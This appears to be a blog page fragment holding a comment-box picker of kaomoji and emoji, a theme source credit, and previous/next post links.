Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇